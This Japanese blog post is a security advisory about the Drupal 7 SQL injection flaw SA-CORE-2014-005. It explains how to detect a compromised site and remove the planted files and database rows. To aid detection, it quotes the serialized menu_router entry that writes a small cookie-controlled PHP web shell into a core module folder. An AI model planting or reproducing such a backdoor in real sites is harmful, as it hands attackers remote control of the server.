先日の10月15日、 Drupal の極めて危険なセキュリティ・ホール SA-CORE-2014-005 が発表され、それと同時にその脆弱性を修正した Drupal 7.32 がリリースされました。

このセキュリティ・ホールはいつものとは格段に違う危険なものです。何がヤバイかと言うと、ログインしていないユーザーでもサイト上にフォームさえあれば誰でもSQLインジェクションをすることができると言う点です。通常の Drupal サイトでしたら /user のパスにログインフォームが必ず存在するので、よほど特殊な対応をしていない限り簡単に侵入されてしまいます。Drupal 7.0 〜 7.31のサイトは全てこの問題を抱えていますので、もしあなたがDrupalサイトのオーナーであれば手遅れになる前に速急に対処してください。

SQLインジェクションをご存知で無い方のために簡単に説明します。SQLインジェクションとはサイト上で使用しているデータベースに対して任意のクエリーを実行する行為で、これが何を意味するかと言うと攻撃者はサイトをほぼ自由自在に操れると言うことになります。

既に攻撃が開始されています

10月16日の晩辺りから早速このセキュリティホールを使って世界中のDrupalサイトが攻撃されています。今回の一連の攻撃は不幸中の幸いながらサイトを停止させたりコンテンツを改ざんするものではなく、発覚したセキュリティホールに自ら対策パッチを当て、悪質なPHPファイルを設置すると言ったものです。なぜ自らセキュリティパッチを当てているかについては不明ですが、前記のPHPファイルを置いている事からおそらく既にバージョンアップされていると錯覚させるための偽装行為でしょう。Drupal.org FAQ on SA-CORE-2014-005 の My site has already been patched の節にもこの攻撃の内容が書かれていますので参照してください。

攻撃されてたか確認する方法

  • 18日現在、攻撃者はロシアのVPSサーバーのIPアドレス 62.76.191.119 から攻撃を仕掛けています。Apacheのアクセスログで上記IPアドレスからのアクセスがあれば、まず攻撃されていると思って間違いありません。
  • phpMyAdmin などを使ってサイトで使用しているデータベースにある menu_router テーブルを開き、 access_callback フィールドに file_put_contents の値が入っているレコードを検索し、ヒットしたら攻撃されています。
  • もしサイトをGitを使って管理されているなら簡単です。git status コマンドを使って /modules/MODULE/XXXX.php と言う不審なファイルが増えていれば攻撃されています。設置されているファイルの中身は以下の様なソースコードになっているはずです。(見やすくするため整形しています)

対策方法

残念ながら既に攻撃されてしまったサイトの対処方法を解説します。

悪質なPHPファイルを削除する

ファイル名とディレクトリがランダムに生成されていて特定しにくく厄介ですが、以下の様なパターンで生成されています。

  • ファイルは /modules 以下のコアモジュールのいずれかのディレクトリに隠されている。
  • ファイル名は 4文字.php

また、下記で解説している menu_router テーブルの access_arguments フィールドに、以下の様なPHPのシリアライズされたコードが入っているはずですので、そこからファイルのパスを判断することもできます。

a:2:{i:0;s:21:"modules/blog/cfeq.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

手っ取り早い対処方法は正規の手順で Drupal 7.32 にアップデートする事です。つまり sites 以下のフォルダをどこかにバックアップし、それ以外のDrupalの構成ファイル全てを上書きではなく差し替える方法です。それが何らかの理由でできない場合は、コアの modules フォルダだけでも 7.32 の内容に置き換えても良いかもしれません。

menu_router テーブルのレコードを削除する

menu_router テーブルに悪意のあるコードを生成するためのレコードが挿入されていますのでそれを削除します 。 menu_router テーブルの access_callback フィールドに file_put_contents の値が挿入されているレコードを検索して削除してください。削除するSQLクエリは以下のようになりますが、環境によっては余計なレコードまで消してしまう恐れがあるので自己責任でご利用ください。

DELETE FROM menu_router WHERE access_callback = 'file_put_contents'

以上となります。

今回の攻撃は幸いなことに大したものではありませんが、一般的なApacheサーバーやデータベースサーバーでは今回の手口に関するログは残されていない場合が多く、上記の攻撃者以外にも既に侵入されている可能性があります。また、今後このセキュリティホールを突いたもっと悪質な攻撃を仕掛けてくる攻撃者が現れることは間違いありません。この問題を放置するとサイトが乗っ取られるだけでは無く、他者への攻撃の踏み台になるような事までされますので、繰り返しますが取り返しの付かない事態になる前に速急にDrupalのバージョンを 7.32 以上へアップデートしてください。


共に働く新しい仲間を
募集しています

スタジオ・ウミは「Drupal」に特化したサービスを提供する Drupal のエキスパートチーム。
フルリモート&フレックス制だから、働く場所を選ばず時間の使い方も自由です。
そんなワークライフバランスの整った環境で、当ブログに書かれているような
様々な技術を共に学びながら、Drupalサイト開発に携わってみたい方を募集しています。
まずはお話だけでも大歓迎!ぜひお気軽にご連絡ください。